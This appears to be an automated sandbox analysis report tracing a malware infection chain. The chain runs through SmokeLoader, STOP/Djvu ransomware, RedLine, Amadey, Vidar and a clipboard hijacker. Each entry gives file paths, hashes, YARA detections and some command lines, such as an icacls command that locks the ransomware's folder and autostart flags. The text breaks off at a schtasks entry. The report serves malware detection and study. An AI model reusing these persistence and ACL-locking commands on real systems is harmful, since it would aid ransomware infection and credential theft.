2023-05-28 08:43:00 UTC	585	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 01860199.exePID: 1264, Parent PID: 3452

General

Target ID:	0
Start time:	10:41:55
Start date:	28/05/2023
Path:	C:\Users\user\Desktop\01860199.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\01860199.exe
Imagebase:	0x400000
File size:	289280 bytes
MD5 hash:	3D8207E1CE6762FF10DB118BEE3BD99B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.380036043.0000000000859000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.380148014.0000000002421000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.380148014.0000000002421000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.380129580.0000000002400000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.380129580.0000000002400000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.380107918.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3452, Parent PID: 1264

General

Target ID:	1
Start time:	10:42:01
Start date:	28/05/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff69fe90000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: hwgujdvPID: 5940, Parent PID: 1080

General

Target ID:	4
Start time:	10:42:34
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Roaming\hwgujdv
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hwgujdv
Imagebase:	0x400000
File size:	289280 bytes
MD5 hash:	3D8207E1CE6762FF10DB118BEE3BD99B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000004.00000002.445989950.0000000000738000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.445573902.0000000000700000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.445573902.0000000000700000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000004.00000002.445509996.00000000006F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.446406704.00000000022D1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.446406704.00000000022D1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 38%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: D804.exePID: 2560, Parent PID: 3452

General

Target ID:	5
Start time:	10:42:37
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\D804.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D804.exe
Imagebase:	0x400000
File size:	802304 bytes
MD5 hash:	6944FCA258A9009F9D3B7212CDB4874D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.442867169.0000000002690000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.442867169.0000000002690000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.442702951.00000000024A5000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: D804.exePID: 772, Parent PID: 2560

General

Target ID:	6
Start time:	10:42:37
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\D804.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D804.exe
Imagebase:	0x400000
File size:	802304 bytes
MD5 hash:	6944FCA258A9009F9D3B7212CDB4874D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: C861.exePID: 68, Parent PID: 3452

General

Target ID:	7
Start time:	10:42:38
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\C861.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C861.exe
Imagebase:	0x400000
File size:	288768 bytes
MD5 hash:	7A8E3D000FBA0F5765B98E2D78EB9D12
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000007.00000002.460164953.0000000000800000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.460214856.0000000000838000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: icacls.exePID: 4704, Parent PID: 772

General

Target ID:	9
Start time:	10:42:39
Start date:	28/05/2023
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x310000
File size:	29696 bytes
MD5 hash:	FF0D1D4317A44C951240FAE75075D501
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 1868, Parent PID: 2620

General

Target ID:	10
Start time:	10:42:39
Start date:	28/05/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 68 -ip 68
Imagebase:	0x1190000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 5568, Parent PID: 68

General

Target ID:	11
Start time:	10:42:39
Start date:	28/05/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 68 -s 520
Imagebase:	0x1190000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: D804.exePID: 1340, Parent PID: 1080

General

Target ID:	13
Start time:	10:42:40
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe --Task
Imagebase:	0x400000
File size:	802304 bytes
MD5 hash:	6944FCA258A9009F9D3B7212CDB4874D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000D.00000002.450548636.0000000002490000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000D.00000002.450667818.0000000002530000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000D.00000002.450667818.0000000002530000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: D804.exePID: 6088, Parent PID: 1340

General

Target ID:	16
Start time:	10:42:41
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe --Task
Imagebase:	0x400000
File size:	802304 bytes
MD5 hash:	6944FCA258A9009F9D3B7212CDB4874D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000010.00000002.619429561.0000000000891000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: D804.exePID: 128, Parent PID: 772

General

Target ID:	18
Start time:	10:42:41
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\D804.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\D804.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	802304 bytes
MD5 hash:	6944FCA258A9009F9D3B7212CDB4874D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000012.00000002.451684545.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000012.00000002.451684545.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000012.00000002.451349547.00000000023B3000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: D804.exePID: 4528, Parent PID: 128

General

Target ID:	19
Start time:	10:42:42
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\D804.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\D804.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	802304 bytes
MD5 hash:	6944FCA258A9009F9D3B7212CDB4874D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 3C54.exePID: 1720, Parent PID: 3452

General

Target ID:	20
Start time:	10:42:44
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\3C54.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3C54.exe
Imagebase:	0x4a0000
File size:	5129728 bytes
MD5 hash:	2AF03D52F9CF9E53DFFC1183B403E1B7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.507574434.0000000004050000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_DLInjector04, Description: Detects downloader / injector, Source: C:\Users\user\AppData\Local\Temp\3C54.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: aafg31.exePID: 2336, Parent PID: 1720

General

Target ID:	21
Start time:	10:42:46
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\aafg31.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\aafg31.exe"
Imagebase:	0x7ff777030000
File size:	973312 bytes
MD5 hash:	B4F79B3194235084A3EC85711EDFBD38
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 33%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: NewPlayer.exePID: 4364, Parent PID: 1720

General

Target ID:	22
Start time:	10:42:47
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\NewPlayer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NewPlayer.exe"
Imagebase:	0x60000
File size:	255488 bytes
MD5 hash:	08240E71429B32855B418A4ACF0E38EC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000000.460937652.0000000000061000.00000020.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.476037262.0000000000061000.00000020.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\NewPlayer.exe, Author: Joe Security
Antivirus matches:	Detection: 88%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: XandETC.exePID: 5320, Parent PID: 1720

General

Target ID:	23
Start time:	10:42:49
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\XandETC.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\XandETC.exe"
Imagebase:	0x7ff6a7fc0000
File size:	3890176 bytes
MD5 hash:	3006B49F3A30A80BB85074C279ACC7DF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 73%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: build2.exePID: 4696, Parent PID: 4528

General

Target ID:	24
Start time:	10:42:49
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe"
Imagebase:	0x400000
File size:	335360 bytes
MD5 hash:	B888EFE68F257AA2335ED9CBD63C1343
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000018.00000002.478126519.0000000000840000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000018.00000002.478487593.00000000008C8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: B46F.exePID: 4928, Parent PID: 3452

General

Target ID:	25
Start time:	10:42:51
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\B46F.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B46F.exe
Imagebase:	0x400000
File size:	802304 bytes
MD5 hash:	6944FCA258A9009F9D3B7212CDB4874D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000019.00000002.473949878.0000000002434000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000019.00000002.474131384.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000019.00000002.474131384.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: B46F.exePID: 2576, Parent PID: 4928

General

Target ID:	26
Start time:	10:42:51
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\B46F.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B46F.exe
Imagebase:	0x400000
File size:	802304 bytes
MD5 hash:	6944FCA258A9009F9D3B7212CDB4874D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: A170.exePID: 1868, Parent PID: 3452

General

Target ID:	27
Start time:	10:42:51
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\A170.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\A170.exe
Imagebase:	0x400000
File size:	809984 bytes
MD5 hash:	15BC205C2CAF7196EE2267087C3B2BB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000001B.00000002.493740298.00000000024C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000001B.00000002.493740298.00000000024C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001B.00000002.490286812.0000000002380000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: D804.exePID: 1264, Parent PID: 3452

General

Target ID:	28
Start time:	10:42:52
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe" --AutoStart
Imagebase:	0x400000
File size:	802304 bytes
MD5 hash:	6944FCA258A9009F9D3B7212CDB4874D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001C.00000002.488812684.000000000228A000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: A170.exePID: 1964, Parent PID: 1868

General

Target ID:	29
Start time:	10:42:53
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\A170.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\A170.exe
Imagebase:	0x400000
File size:	809984 bytes
MD5 hash:	15BC205C2CAF7196EE2267087C3B2BB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000001D.00000002.489556428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000001D.00000002.489556428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000001D.00000002.489556428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000001D.00000002.489556428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: build3.exePID: 5868, Parent PID: 4528

General

Target ID:	30
Start time:	10:42:53
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe"
Imagebase:	0x1000000
File size:	9728 bytes
MD5 hash:	9EAD10C08E72AE41921191F8DB39BC16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001E.00000000.474017727.0000000001001000.00000020.00000001.01000000.00000016.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001E.00000000.474017727.0000000001001000.00000020.00000001.01000000.00000016.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001E.00000002.477600932.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001E.00000002.477600932.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001E.00000002.477942290.0000000001001000.00000020.00000001.01000000.00000016.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001E.00000002.477942290.0000000001001000.00000020.00000001.01000000.00000016.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 88%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: D804.exePID: 5444, Parent PID: 1264

General

Target ID:	31
Start time:	10:42:53
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe" --AutoStart
Imagebase:	0x400000
File size:	802304 bytes
MD5 hash:	6944FCA258A9009F9D3B7212CDB4874D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000001F.00000002.486782772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000001F.00000002.486782772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000001F.00000002.486782772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000001F.00000002.486782772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: build2.exePID: 6096, Parent PID: 4696

General

Target ID:	32
Start time:	10:42:53
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe"
Imagebase:	0x400000
File size:	335360 bytes
MD5 hash:	B888EFE68F257AA2335ED9CBD63C1343
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000020.00000002.519993720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000002.522623167.0000000002345000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 5268, Parent PID: 5868

General

Target ID:	33
Start time:	10:42:53
Start date:	28/05/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
